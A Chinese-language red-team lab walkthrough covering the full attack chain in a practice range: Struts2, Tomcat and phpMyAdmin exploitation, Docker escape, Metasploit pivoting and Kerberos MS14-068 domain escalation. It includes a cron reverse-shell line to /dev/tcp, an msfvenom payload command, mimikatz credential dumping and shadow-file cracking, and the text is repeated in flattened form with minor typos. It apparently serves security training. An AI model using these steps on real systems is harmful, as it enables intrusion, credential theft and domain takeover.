ATT&CK实战系列-红队实战(四)
字数 2341 2025-08-29 22:41:38

ATT&CK实战系列-红队实战(四)教学文档

实验环境配置

网络配置

  • 添加仅主机网卡vmnet2
  • 网段:192.168.183.0/24
  • DHCP范围:192.168.183.128-192.168.183.255

目标系统配置

攻击机

  • IP地址:192.168.183.128

WEB服务器

  • 账号密码:ubuntu:ubuntu
  • IP地址:
    • 192.168.183.129
    • 192.168.0.106 (双网卡)

WIN7主机

  • 账号密码:douser:Dotest123
  • IP地址:192.168.183.130

DC(域控)

  • 账号密码:administrator:Test2008

信息收集阶段

端口扫描

发现服务器开启以下端口:

  • 22端口
  • 2001端口
  • 2002端口
  • 2003端口

服务识别

  • 2001端口:文件上传页面
  • 2002端口:Tomcat默认页面
  • 2003端口:phpmyadmin页面

漏洞发现与利用

Struts2漏洞利用 (2001端口)

漏洞特征识别

  1. 查看HTTP响应头中是否包含X-Struts-Version字段
  2. 检查URL中是否包含.action或.do后缀
  3. 查看错误页面是否包含"Struts Problem Report"等字样
  4. 检查是否存在/struts/webconsole.html路径

利用方法

  1. 利用Struts2远程代码执行漏洞
  2. 反弹shell
  3. 设置监听端口
  4. 获取shell上线

Tomcat漏洞利用 (2002端口)

漏洞识别

  • 暴露版本:8.5.19
  • 可能存在的漏洞:
    • CVE-2017-12615
    • CVE-2017-12617
    • CVE-2017-5664

利用方法

  1. 将HTTP请求方法改为PUT
  2. 验证文件上传是否成功
  3. 生成哥斯拉木马
  4. 上传木马文件
  5. 访问木马文件
  6. 连接成功获取控制权

PhpMyAdmin漏洞利用 (2003端口)

版本识别

  • PhpMyAdmin 4.8.1

可能的攻击方法

  1. SQL命令执行获取webshell(需满足条件:文件写入权限、知道网站绝对路径、目录可写)
  2. 日志文件写入webshell
  3. CVE-2018-12613
  4. CVE-2018-19968

CVE-2018-12613利用

  1. 漏洞描述:PHPMyAdmin 4.8.0到4.8.3版本中的高危漏洞,允许通过精心构造的请求读取服务器上的任意文件
  2. 漏洞存在于index.php文件中对target参数的处理过程中
  3. 利用步骤:
    • 查看/etc/passwd文件:http://192.168.0.105:2003/index.php?target=db_structure.php%253f/etc/passwd
    • 写入phpinfo:当前页面cookie中的phpmyadmin的值
    • 获取路径:http://192.168.0.105:2003/index.php?target=db_structure.php%253f/tmp/sess_cookie
    • 写入木马
    • 访问木马
    • 连接成功

Docker环境识别与逃逸

Docker环境判断

  1. 检查根目录是否存在.dockerenv文件:ls -alh /.dockerenv
  2. 检查/proc/1/cgroup是否含有docker字符串:cat /proc/1/cgroup

Docker逃逸方法一

  1. 查看可挂载的磁盘:fdisk -l
  2. 创建目录:mkdir /test
  3. 挂载磁盘:mount /dve/sda1 /test
  4. 切换到目录:cd /test
  5. 查看内容:ls
  6. 查看/etc/shadow:cat /etc/shadow
  7. 导出shadow文件,使用john破解
  8. 使用ssh登录

Docker逃逸方法二(计划任务)

  1. 创建脚本文件:touch /test/test.sh
  2. 写入反弹shell命令:echo "bash -i >& /dev/tcp/IP/端口 0>&1" >/test/test.sh
  3. 添加计划任务:echo root bash /test.sh" >> /test/etc/crontab
  4. 设置监听端口:nc -lvvp 9898
  5. 等待shell连接

内网渗透

内网信息收集

  1. 查看内网机器IP
  2. 上传fscan进行扫描
  3. 上线MSF

MSF木马生成与使用

  1. 生成木马:
    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=端口 -f elf > XXX.elf
    
  2. 将木马下载至目标机器并运行
  3. MSF监听设置:
    use exploit/multi/handler
    set payload linux/x64/meterpreter/reverse_tcp
    set lhost xx.xx.xx
    set lport 端口
    run
    
  4. 添加路由

永恒之蓝攻击尝试

  • 根据fscan扫描结果尝试永恒之蓝攻击
  • 多次尝试未成功

域渗透技术

非域控机器利用

  1. 在非域控主机(WIN7)上收集工具:
    • mimikatz.exe
    • MS14-068.exe

Mimikatz使用

  • 导出密码:mimikatz.exe sekurlsa::logonpasswords
  • 获取域成员SID

MS14-068提权

漏洞简介

  • Microsoft Windows中Kerberos实现的严重漏洞
  • 影响所有Windows域控服务器

受影响系统

  • Windows Server 2003 SP2
  • Windows Server 2008 SP2/R2 SP1
  • Windows Server 2012/R2
  • Windows 7/8/8.1

基本利用步骤

  1. 获取普通域用户凭证
  2. 使用工具生成伪造的TGT票证
  3. 将伪造票证注入当前会话
  4. 获取域管理员权限

总结

本实战演练涵盖了从外网渗透到内网横向移动的全过程,包括:

  1. Web应用漏洞利用(Struts2、Tomcat、PhpMyAdmin)
  2. Docker环境识别与逃逸技术
  3. 内网信息收集与横向移动
  4. 域渗透技术与权限提升

关键点在于综合利用多种漏洞和技术手段,逐步深入目标网络,最终获取域控权限。

ATT&CK实战系列-红队实战(四)教学文档 实验环境配置 网络配置 添加仅主机网卡vmnet2 网段:192.168.183.0/24 DHCP范围:192.168.183.128-192.168.183.255 目标系统配置 攻击机 IP地址:192.168.183.128 WEB服务器 账号密码:ubuntu:ubuntu IP地址: 192.168.183.129 192.168.0.106 (双网卡) WIN7主机 账号密码:douser:Dotest123 IP地址:192.168.183.130 DC(域控) 账号密码:administrator:Test2008 信息收集阶段 端口扫描 发现服务器开启以下端口: 22端口 2001端口 2002端口 2003端口 服务识别 2001端口:文件上传页面 2002端口:Tomcat默认页面 2003端口:phpmyadmin页面 漏洞发现与利用 Struts2漏洞利用 (2001端口) 漏洞特征识别 查看HTTP响应头中是否包含X-Struts-Version字段 检查URL中是否包含.action或.do后缀 查看错误页面是否包含"Struts Problem Report"等字样 检查是否存在/struts/webconsole.html路径 利用方法 利用Struts2远程代码执行漏洞 反弹shell 设置监听端口 获取shell上线 Tomcat漏洞利用 (2002端口) 漏洞识别 暴露版本:8.5.19 可能存在的漏洞: CVE-2017-12615 CVE-2017-12617 CVE-2017-5664 利用方法 将HTTP请求方法改为PUT 验证文件上传是否成功 生成哥斯拉木马 上传木马文件 访问木马文件 连接成功获取控制权 PhpMyAdmin漏洞利用 (2003端口) 版本识别 PhpMyAdmin 4.8.1 可能的攻击方法 SQL命令执行获取webshell(需满足条件:文件写入权限、知道网站绝对路径、目录可写) 日志文件写入webshell CVE-2018-12613 CVE-2018-19968 CVE-2018-12613利用 漏洞描述:PHPMyAdmin 4.8.0到4.8.3版本中的高危漏洞,允许通过精心构造的请求读取服务器上的任意文件 漏洞存在于index.php文件中对target参数的处理过程中 利用步骤: 查看/etc/passwd文件: http://192.168.0.105:2003/index.php?target=db_structure.php%253f/etc/passwd 写入phpinfo:当前页面cookie中的phpmyadmin的值 获取路径: http://192.168.0.105:2003/index.php?target=db_structure.php%253f/tmp/sess_cookie 写入木马 访问木马 连接成功 Docker环境识别与逃逸 Docker环境判断 检查根目录是否存在.dockerenv文件: ls -alh /.dockerenv 检查/proc/1/cgroup是否含有docker字符串: cat /proc/1/cgroup Docker逃逸方法一 查看可挂载的磁盘: fdisk -l 创建目录: mkdir /test 挂载磁盘: mount /dve/sda1 /test 切换到目录: cd /test 查看内容: ls 查看/etc/shadow: cat /etc/shadow 导出shadow文件,使用john破解 使用ssh登录 Docker逃逸方法二(计划任务) 创建脚本文件: touch /test/test.sh 写入反弹shell命令: echo "bash -i >& /dev/tcp/IP/端口 0>&1" >/test/test.sh 添加计划任务: echo root bash /test.sh" >> /test/etc/crontab 设置监听端口: nc -lvvp 9898 等待shell连接 内网渗透 内网信息收集 查看内网机器IP 上传fscan进行扫描 上线MSF MSF木马生成与使用 生成木马: 将木马下载至目标机器并运行 MSF监听设置: 添加路由 永恒之蓝攻击尝试 根据fscan扫描结果尝试永恒之蓝攻击 多次尝试未成功 域渗透技术 非域控机器利用 在非域控主机(WIN7)上收集工具: mimikatz.exe MS14-068.exe Mimikatz使用 导出密码: mimikatz.exe sekurlsa::logonpasswords 获取域成员SID MS14-068提权 漏洞简介 Microsoft Windows中Kerberos实现的严重漏洞 影响所有Windows域控服务器 受影响系统 Windows Server 2003 SP2 Windows Server 2008 SP2/R2 SP1 Windows Server 2012/R2 Windows 7/8/8.1 基本利用步骤 获取普通域用户凭证 使用工具生成伪造的TGT票证 将伪造票证注入当前会话 获取域管理员权限 总结 本实战演练涵盖了从外网渗透到内网横向移动的全过程,包括: Web应用漏洞利用(Struts2、Tomcat、PhpMyAdmin) Docker环境识别与逃逸技术 内网信息收集与横向移动 域渗透技术与权限提升 关键点在于综合利用多种漏洞和技术手段,逐步深入目标网络,最终获取域控权限。